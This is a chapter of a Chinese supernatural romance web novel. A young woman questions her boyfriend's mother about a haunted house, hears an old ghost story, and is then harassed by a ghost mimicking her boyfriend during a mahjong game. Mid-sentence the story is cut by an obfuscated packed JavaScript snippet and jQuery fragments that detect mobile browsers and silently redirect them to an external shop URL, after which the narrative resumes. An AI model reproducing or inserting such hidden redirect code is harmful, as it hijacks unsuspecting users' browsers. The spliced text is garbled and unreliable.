“双胞胎兄弟?”曾碧云缓慢眨了眨眼,语气疑惑,“没有啊,我就只有小尧一个孩子。”
这个回答跟昨晚周斯尧说的一样,许知橙倒也不是不信,她是实在想不通,现在见到周母,才忍不住再确认一下。
他们长得一模一样,声音也听不出差别,如果不是亲兄弟,那就只有一种可能。
那只鬼是故意变成周斯尧的样子,来迷惑她。
许知橙有点生气,生自己的气,那家伙明摆着是骗人,她怎么真的信了他的鬼话?
不过这样也好,确定了那鬼跟周斯尧毫无关系。
那他到底是从哪儿来的?为什么非得缠着他们呢?
今天曾碧云约许知橙来家里吃饭打牌,许知橙不喜欢打牌,而周斯尧母亲又是麻将狂热爱好者,致力于将她身边每一个人,都培养成固定牌搭子。
曾经最大的受害者是周斯尧,当许知橙和他在一起后,受害者就变成了她。
她不明白麻将有什么好玩的,听见哗哗洗牌的声音,她就走神想睡觉。
今天除外,为了套情报,许知橙必须做出一点牺牲。
周母的两个牌搭子在赶来的路上,许知橙和周母吃完午饭,坐在小花园里喝茶聊天。
曾碧云觉得奇怪:“你怎么问这个?”
许知橙笑了笑:“就是有点好奇。”
曾碧云看她脸色不怎么好,遮瑕也遮不住眼下的淡青,再联想她最近的新闻,关切地拍了拍她的手:“你们是不是吵架了?小尧惹你生气了?跟我讲,我待会儿说他。”
一听这话,许知橙就知道周母又看了不少娱乐新闻。
她气那些记者乱写,又有些好笑,每次听曾碧云叫周斯尧叫小尧,她就觉得特别可爱。
“没有,我们挺好的,可能是刚搬家有点不习惯,每天都睡不好。”许知橙说。
曾碧云喝了口茶,过了半晌她才说:“西城那个房子太大,就住你们俩,是空了点。”
许知橙想起肉肉,笑着说:“还有一只小猫。”
“对,你的肉肉,你们年轻人就爱养猫养狗的,现在都讲什么宠物经济嘛,可爱是可爱,到底不比生个自己的孩子。”
曾碧云笑着问她:“你跟小尧有没有商量过结婚的事?”
啊?
突然催婚催生,许知橙是没想到的。
曾碧云不是那种传统古板的长辈,她心态很年轻,跟她相处就跟同龄人一样,什么都能聊。
许知橙内心无语,还有点想笑,这话题转移得也太生硬了吧?
她索性装没听见,好奇追问:“曾姨,那个房子是不是有什么问题?”
“啊?也、没什么问题啊。”
许知橙叹了口气:“是吗?那可能是我想多了吧,我住进去之后,老是做噩梦,吃不好睡不香,还,还……”
曾碧云手抖了一下,茶水差点泼出来:“还什么?你是不是看见什么了?”
她的紧张写在脸上,摆明了知道什么。
许知橙皱起眉,作出害怕的样子:“我倒是没看见什么,就是老听见奇怪的声音,曾姨,那个房子是不是不太干净?”
“你也这么觉得?”曾碧云一把握住她的手,激动道,“我早就说嘛,他们都说是我想多了,孩子,你懂我!”
许知橙心想曾姨简直是单纯得可爱,她这么套她话,都有点不好意思了。
但是话还是要继续套的,她配合演出:“曾姨是不是知道什么?快告诉我。”
那是她还年轻的时候,刚跟周斯尧的父亲结婚,曾经去西城那个房子小住过几天。
那时候房子还没翻新,很有些复古的味道,清幽宁静,时常有野猫野狗跑进院子里。
新婚燕尔,夜里喝点小酒,一起坐在院子里秋千上赏月观星,特别有蜜月情调。
第一晚,她睡在二楼的房间,怎么都睡不着。
太安静了,夜里窗户关上,窗帘一拉,就好像与世隔绝,明明是山间夏夜,却连一点虫叫声都听不到。
“我害怕,可是小尧他爸爸睡得打鼾,我气不过,捏着他鼻子把他憋醒,然后装作什么都不知道。”
还能这么玩?许知橙听得目瞪口呆。
学到了,以后在周斯尧身上试试看,好像挺好玩的。
曾碧云也陷入年轻时的回忆里,浮出一丝微笑:“他爸爸醒过来,我说睡不着,要他给我讲故事,结果他给我讲了个鬼故事,气得我猛锤他。”
“……”没想到啊,周斯尧父亲看起来挺严肃一人,年轻时居然这么皮。
许知橙差点被上一辈爱情故事带跑偏,还好她想起来主线任务:“讲了什么鬼故事?”
曾碧云说:“他说他小时候,暑假去那里住,认识了一个同龄小朋友,他们白天在一起玩,爬树,游泳,去河里打水漂,玩得可开心,还约着第二天一起去捉虾子。”
那天晚上,周坚明回家后还跟家人炫耀,他今天交了个新朋友,家里人都为他高兴,要他有机会带朋友回来吃饭。
第二天他去河边等那个小朋友,可是等了一下午,都没见到人来。
以为那小朋友出了什么事,或者是爸妈不让出来玩,周坚明到附近到处找他。
他找到一家卖东西的小铺子,老板是附近老住户,他向老板打听那个小孩。
可是听了他的形容,老板却说这里根本没有这个人。
“他爸爸那时候才七岁,最熊的年纪,上房揭瓦上树掏窝下河捞鱼,他不信啊,到处敲别人家门,犯了犟劲,非要把那孩子找出来。”
碰到脾气不好的,大声骂他,放狗追他。
周坚明哭着跑回家,裤腿被咬烂了,他没找到那个认识了一天的小朋友。
好“惊心动魄”的经历,许知橙小时候被野狗追过,哭得要死,她顿时对周叔叔充满敬畏。
“会不会是哪家亲戚的小孩,来玩两天就走了?”许知橙这么猜。
曾碧云:“我也这么说,小孩子嘛,有时候说话不清不楚的,搞错了也很正常。”
可是丈夫告诉她,就在那天晚上,他睡着了,半夜却做了个梦。
他梦见那个小孩,穿一身白,浑身湿淋淋的,像在水里泡过,不说话,就对着他哭,哭得特别凄惨瘆人。
然后他就醒过来了,之后再也没见过那小孩。
许知橙摸了摸胳膊上的鸡皮疙瘩。
这个故事不算多恐怖,却听得她毛骨悚然。
可能是她就住在那个房子里,所以更有代入感。
看出她怕,曾碧云赶忙安慰:“别当真,就是一个故事,我住那几天也没发生什么,还怀了小尧。”
她露出一点不好意思的笑。
许知橙心中微暖,一不小心知道了男友的小秘密,可能连他自己都不知道,有趣有趣。
可是再一想,还是不对,既然没事,周母刚才怎么会那么紧张?
“还有吗?”她收起笑,盯紧女人的眼睛。
曾碧云茫然看着她:“还有什么?就这些啊。”
“可是你刚才说那个房子……”
不等说完,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382481|200155||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
突然一双手搭在许知橙肩膀上,冷冰冰的。
许知橙神经紧绷,尖叫一声站起来,茶杯落地摔成几片。
“是我,小橙。”周斯尧走到面前,摸摸她的脸。
原来是他。
她歉意地对他笑笑,却说不出话,真心的,违心的,她最近都对他说了太多,自己都累。
半天只憋出一句:“你的手怎么这么冷?”
他的手在冬天都是暖的,全身都是,很适合拿来暖手,现在像冰块,贴在她燥热的脸上,起到了降温的作用。
许知橙的心也慢慢平静下来。
周斯尧看着她的眼睛:“进门用冷水洗了手,又吓到你了?”
家里阿姨来扫走碎瓷片,牌搭子来了,麻将开打,许知橙被迫上场。
跟曾碧云还没聊完,那个房子应该还有事情,可现在不方便问。
许知橙心不在焉,本来牌技就差,一直输,周斯尧坐她旁边,一直在笑。
「笑什么笑?我输了好多,不好玩,换你来打。」
收到许知橙的消息,周斯尧回:「我给你报销,你随便玩,玩够了我们回家。」
许知橙轻哼一声,心里高兴。
中途,周母去厕所,周斯尧临时上阵。
坐下后,他悄悄捏她的手,一切尽在不言中,许知橙会意,这把稳了,总算能赢一把,开心!
摸着牌,许知橙充满自信,等着和周斯尧暗通款曲。
她正研究怎么出牌,突然听见周斯尧的声音:“打三筒。”
哦哦,三筒是吧?出!
又听他说:“九万留在手里干嘛?打出去,你对面三张八万,你没机会。”
哦哦,没机会,九万丢掉!
许知橙乐呵呵当甩手掌柜,懒得动脑思考,牌打出去,感觉离胜利更进一步。
可是,好像有哪里不对。
周斯尧坐她左手边,他怎么知道她对面的牌?
不对不对,重点是在牌桌上,周斯尧怎么给她公开发语音?要作弊也不能这么明目张胆啊!
她抬起头,而周斯尧也正从桌上抬起眼,和她交换一个眼神,似乎在问“看我干嘛?”
不是他。
是他。
许知橙手指发麻,她想生气,却又因为习惯了他的神出鬼没,连生气都嫌浪费感情。
那声音笑了笑:“对,总算发现了,是我,不是他,只有我才能帮你赢。”
她捏住麻将牌,幻想自己是个武林高手,能把它捏成粉末。
靠脑补出了口恶气,许知橙眼观鼻鼻观心,打算无视他。
真敢讲,只有他才能帮她赢?那她宁可输。
接下来不管对方说什么,许知橙都不听不听,抵抗到底。
“不听我的?”他叹气,“好吧,我最后说一句,你不听就输定了,留着你手里那只小鸟,有人等着吃呢。”
许知橙看了眼捏着的牌,一条,旁边一张三条,再来中间一张她就能赢。
“二条。”周斯尧在桌下轻轻碰了碰她的腿。
许知橙面无表情把小鸟丢出去。
对面笑得眯起眼睛,将牌一推:“胡了!哎哟怎么回事,赢得我都怕了。”
耳边一声冷笑,许知橙摸了摸耳朵,麻麻的,好吵。
周斯尧愣住,他觑着许知橙,只见她表情严肃,皱着眉,咬着唇,一双杏眼幽怨愤恨,好像在跟谁较劲。
可是他不懂,她怎么了?为什么不吃他喂的牌?
她的眼睛四下飘忽,她在看谁?